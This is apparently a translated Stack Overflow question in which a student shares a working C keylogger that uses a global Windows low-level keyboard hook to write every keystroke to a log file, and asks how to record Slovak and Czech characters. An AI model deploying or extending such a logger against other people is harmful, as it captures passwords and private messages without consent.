【发布时间】:2019-10-23 20:51:33
【问题描述】:
嗯,我有一个简单的程序来保存按键。但它仅适用于英文键盘。它无法检测到任何其他键盘,例如我的斯洛伐克语。 单词“škola”被保存为“3kola”。因为“3”和“š”是键盘上的同一个按钮。
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (kbdStruct.vkCode != 0);
{
switch (kbdStruct.vkCode)
{
case VK_ESCAPE:
fprintf(LOG, "[ESC]");
break;
default:
fprintf(LOG, "%c", kbdStruct.vkCode);
break;
}
fflush(LOG);
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}
void main()
{
LOG = fopen("log.txt", "a+" );
SetHook();
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
fclose(LOG);
}
我想要做的是保存当前本地语言的字符。 例如。我用斯洛伐克语“žiak”写了一个词,然后我将本地更改为英语,然后用英语写了一些东西,然后用捷克语写了一些东西。我怎样才能做到用户输入将始终使用本地语言字符保存。 (是的,它的键盘记录器,但这是在学校学习 C 的有趣方式,我们确实做了一些循环和写入文本文件,这是我所知道的一切:/)我发现了一些关于 wm_char 的东西可以解决我的问题,但我不知道如何使用它。
【问题讨论】:
-
键盘挂钩监控键盘输入。字符是一个更高层次的概念。您不会从键盘挂钩中获取字符数据。
-
有一篇文章here 可能对你有所帮助。
标签: c winapi keyboard multilingual